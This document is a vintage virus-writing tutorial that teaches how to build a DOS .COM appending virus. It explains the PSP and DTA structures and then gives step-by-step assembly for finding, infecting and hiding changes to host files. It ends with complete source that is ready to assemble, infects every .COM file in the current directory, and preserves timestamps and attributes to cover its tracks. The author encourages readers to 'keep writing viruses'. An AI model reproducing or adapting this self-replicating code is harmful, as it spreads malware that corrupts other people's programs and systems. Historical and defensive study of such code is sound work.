.COM Appending Virus
by
Stealth Warrior/The Alliance
My page: http://www.geocities.com/SiliconValley/Heights/5303 My E-Mail address: stealthwarrior@hotmail.com
---------------------------------------------------------------------------- DISCLAIMER: Information included in this file is not to be used in any malicious or otherwise irresponsible manner. The author is not responsible for any damages, incidental or otherwise, resulting from using information from this file. Responsibility is entirely placed on the reader (user). ---------------------------------------------------------------------------- Now when we're familiar with overwriting viruses, let's go on to appending viruses. To understand appending viruses we first must know the structure of the files we want to infect. We will start with .COM files as they are the easiest. So, here we go: When a .COM file is run, DOS builds the PSP, loads the file in memory above PSP and then executes it (from memory, not from disk!). PSP is a 256 byte long header and it looks like this: .--------.------.-------------------------------------------. | OFFSET | SIZE | DESCRIPTION | .--------.------.-------------------------------------------. | 00h | 2 | INT 20h instruction (Program Terminate). | | 02h | 2 | Address of the last paragraph of memory | | | | allocated to the program. | | 04h | 1 | Reserved. | | 05h | 5 | CP/M Far call to DOS INT 21h,except put | | | | the function call in CL not AH like usual.| | 0Ah | 4 | INT 22h segment handler. | | 0Eh | 4 | INT 23h segment handler. | | 012h | 4 | INT 24h segment handler. | | 016h | 22 | Reserved. | | 02Ch | 2 | Enviroment segment.Includes the drive\ | | | | path\filename.extension of the program. | | 02Eh | 34 | Reserved. | | 050h | 3 | INT 21h followed by a RETF. | | 053h | 9 | Reserved. | | 05Ch | 16 | File Control Block 1.It is for use with | | | | OLD DOS functions.DOS 2.0 introduces | | | | handles,which are much easier to use. | | 06Ch | 20 | File Control Block 2. | | 080h | 128 | Command line parameters. | | | | Default DTA (Disk Transfer Area). | .--------.------.-------------------------------------------. Total: 256 And DTA (Disk Transfer Area) looks like this: Offset Size Description 0h 21 BYTES Reserved 15h BYTE File attribute 16h WORD File time 18h WORD File date 1Ah DWORD File size 1Eh 13 BYTES ASCIIZ file name and extension The file starts at offset 100h of the segment where it's loaded. Because of the segment length limit .COM files can only be 65280 bytes long, so we will infect files smaller than 64000 bytes to prevent the PSP to get corrupted. If we want to infect a .COM file, we change the first 3 bytes of the host, so they point to the virus which we appended at the end of the host. And after the virus has executed, it restores the original 3 bytes of the host and jumps to 100h. You mustn't forget that we put original 3 bytes in memory and that the first 3 bytes of the file on disk still contain a jump to a virus! After that the host runs like nothing has happened. I've put some extra code here - it preserves file date, time and attributes and it can infect a .COM file with any attribute. It is important for virus to cover its tracks as much as possible, so get used to it right now at the beginning of your learning about viruses. Here's a new flow-chart: 1.Calculate the delta OFFSET. 2.Restore 3 bytes. 3.Save DTA. 4.Find a .COM file. If no files found then go to step 15. 5.Save file attributes, date and time. 6.Clear file attributes. 7.Open the file for reading/writing. 8.Read the first 3 bytes. 9.Check if the file is already infected. a)If already infected then go to step 14. b)If not infected continue. 10.Write new 3 bytes at the beginning of the file. 11.Append the virus to the file. 12.Restore time and date. 13.Close the file. 14.Restore attributes. 15.Restore DTA. 16.Pass the control to the host (in memory!). Here's how it's done: 1.First we must calculate the delta OFFSET, because you mustn't forget that the real OFFSET of our variables depends on size of the file: begin: db 0e9h,0,0 ;Jump to vstart. vstart: call doit doit: pop bp ;<Calculate the sub bp,OFFSET doit ; delta OFFSET.> 2.And now we restore original 3 bytes which we saved into bytes when this file was infected: lea si,[bp+OFFSET bytes] ;<Restore mov di,100h ; the push di ; original movsw ; three movsb ; bytes.> 3.DTA is located at the same address in the PSP as the command-line parameters, so we have to store DTA to prevent the loss of command-line parameters. Of course we have to restore it before we pass control to the host. lea dx,[bp+OFFSET dta] ;<Save disk mov ah,1ah ; transfer int 21h ; area(DTA).> We have to define dta, so: dta db 42 dup (?) 4.We use DOS function Int 21h/4eh to find the first file. You should be familiar with this from Overwriting Virus Tutorial. mov ah,4eh ;Find first service. lea dx,[bp+com_files] ;<Search for a .COM file mov cx,7 ; with any attributes.> int 21h We have to define what com_files means, so: com_files: db "*.com",0 5.File attributes, date and time are saved and we restore them later. lea si,[bp+OFFSET dta+21] ;<Save file mov cx,5 ; attributes, lea di,[bp+OFFSET attributes] ; date and rep movsb ; time.> 6.Here we clear the file attributes so that we could write to it in case it is read-only, hidden or system. mov ax,4301h ;<Clear xor cx,cx ; the lea dx,[bp+dta+30] ; file int 21h ; attributes.> 7.Nothing new here... mov ax,3d02h ;<Open file for lea dx,[bp+OFFSET dta+30] ; reading and int 21h ; writing.> 8.Here we read the first three bytes and store them to bytes. We need them to check if the file is already infected and to restore them before we pass control to the host. xchg ax,bx ;Put file handle in ax. mov ah,3fh ;<Read first lea dx,[bp+bytes] ; three bytes mov cx,3 ; and store them int 21h ; in bytes.> 9.Here we compare the file size from DTA and last two bytes from bytes. If the file is infected, then bytes contains a jump (E9) and an offset which points to the beginning of the virus. A bit of mathematics and we have an infection check: mov ax,word ptr [bp+dta+26] ;Get file size from DTA. mov cx,word ptr [bp+bytes+1] ;Get jmp location. add cx,vend-vstart+3 ;Convert it to file size. cmp ax,cx ;Compare both file sizes. jz another ;Equal,so find next victim. 10.Here we put new OFFSET into new_offs and write new three bytes (E9 [it's a code for JMP] xx xx [new OFFSET]): sub ax,3 ;<Put new OFFSET mov word ptr [bp+new_offs],ax ; in new_offs.> mov ax,4200h ;<Go to xor cx,cx ; beginning cwd ; of the int 21h ; file.> mov ah,40h ;<Write mov cx,3 ; new lea dx,[bp+e9] ; three int 21h ; bytes.> If you haven't noticed: new_offs dw ? has to be written under e9 db 0e9h in the virus source to work properly. It is because we put beginning OFFSET in dx (lea dx,[bp+e9]) and after 0e9h is written to file, 2 bytes from the new_offs follow. Simple, isn't it? 11.Here we write our virus to the end of the file: mov ax,4202h ;<Go to xor cx,cx ; end cwd ; of the int 21h ; file.> mov ah,40h ;<Append mov cx,vend-vstart ; the virus lea dx,[bp+vstart] ; to the int 21h ; host.> 12.Now when the main job is done we cover our tracks, first with file time and file date: mov ax,5701h ;<Restore mov dx,word ptr [bp+date] ; original mov cx,word ptr [bp+time] ; file time int 21h ; and date.> 13.Close the file, nothing new... mov ah,3eh ;<Close the int 21h ; file.> 14.Covering our tracks, part two. Here we restore file attributes: mov ax,4301h ;<Restore lea dx,[bp+OFFSET dta+30] ; original xor ch,ch ; attributes mov cl,byte ptr [bp+attributes] ; of the int 21h ; file.> 15.Now we restore DTA --> command-line parameters are preserved: mov dx,80h ;Restore DTA. mov ah,1ah ;<Set disk transfer int 21h ; address.> 16.Here we pass control to the host (in memory!!!): retn ;Pass control to the host. Here's the complete source: -<EXAMPLE1.ASM>--------------------------------------------------------------- ;Example 1 from .COM Appending Virus Tutorial by Stealth Warrior ;.COM appending virus - 211 bytes long, infects all .COM files in current dir ;Instructions: ; TASM /m2 EXAMPLE1.ASM ; TLINK /t EXAMPLE1.ASM code segment assume cs:code org 100h begin: db 0e9h,0,0 ;Jump to vstart. vstart: call doit doit: pop bp ;<Calculate the sub bp,OFFSET doit ; delta OFFSET.> lea si,[bp+OFFSET bytes] ;<Restore mov di,100h ; the push di ; original movsw ; three movsb ; bytes.> lea dx,[bp+OFFSET dta] ;<Save disk mov ah,1ah ; transfer int 21h ; area(DTA).> first: mov ah,4eh ;Find first service. lea dx,[bp+com_files] ;<Search for a .COM file mov cx,7 ; with any attributes.> next: int 21h jnb got_it ;We found a .COM file. jmp quit ;No more .COM files,so quit. got_it: lea si,[bp+OFFSET dta+21] ;<Save file mov cx,5 ; attributes, lea di,[bp+OFFSET attributes] ; date and rep movsb ; time.> mov ax,4301h ;<Clear xor cx,cx ; the lea dx,[bp+dta+30] ; file int 21h ; attributes.> mov ax,3d02h ;<Open file for lea dx,[bp+OFFSET dta+30] ; reading and int 21h ; writing.> xchg ax,bx ;Put file handle in ax. mov ah,3fh ;<Read first lea dx,[bp+bytes] ; three bytes mov cx,3 ; and store them int 21h ; in bytes.> mov ax,word ptr [bp+dta+26] ;Get file size from DTA. mov cx,word ptr [bp+bytes+1] ;Get jmp location. add cx,vend-vstart+3 ;Convert it to file size. cmp ax,cx ;Compare both file sizes. jz another ;Equal,so find next victim. sub ax,3 ;<Put new OFFSET mov word ptr [bp+new_offs],ax ; in new_offs.> xor al,al ;Go to BOF. call move_fp mov ah,40h ;<Write mov cx,3 ; new lea dx,[bp+e9] ; three int 21h ; bytes.> mov al,2 ;Go to EOF. call move_fp mov ah,40h ;<Append mov cx,vend-vstart ; the virus lea dx,[bp+vstart] ; to the int 21h ; host.> mov ax,5701h ;<Restore mov dx,word ptr [bp+date] ; original mov cx,word ptr [bp+time] ; file time int 21h ; and date.> another:mov ah,3eh ;<Close the int 21h ; file.> mov ax,4301h ;<Restore lea dx,[bp+OFFSET dta+30] ; original xor ch,ch ; attributes mov cl,byte ptr [bp+attributes] ; of the int 21h ; file.> mov ah,4fh ;Find next service. jmp next ;Do it. quit: mov dx,80h ;Restore DTA. mov ah,1ah ;<Set disk transfer int 21h ; address.> retn ;Pass control to the host. move_fp:mov ah,42h xor cx,cx cwd int 21h retn com_files db '*.com',0 bytes db 0cdh,20h,0 e9 db 0e9h vend equ $ ;<Everything below this point ; isn't written to a host because ; it's temporal info and would ; just increase the size of the ; virus.> new_offs dw ? ;Here we put new OFFSET. attributes db ? ;Here we put file attributes. time dw ? ;Here we put file time. date dw ? ;Here we put file date. dta db 42 dup (?) ;Here we put DTA. code ENDS END begin ------------------------------------------------------------------------------ That's it! If you don't get it yet, read my Overwriting Virus Tutorial and then this tutorial again. It will help, you'll see. The most important thing is not to give up! So, keep writing viruses and be prepared for my next tutorial! You can get all my tutorials and more at my page - see the beginning of this file for the address. Greetz'n'thanx to: -The Alliance : Yo to all memberz -P/S : a great group, your tutorials and 40hex helped me a lot -NuKE : a great group too, Rock Steady's tutorials are cool -VLAD : a great magazine, guys -Immortal Riot : I like your 'zine -Ratboy : cool tutorial -all other virus writers in the world!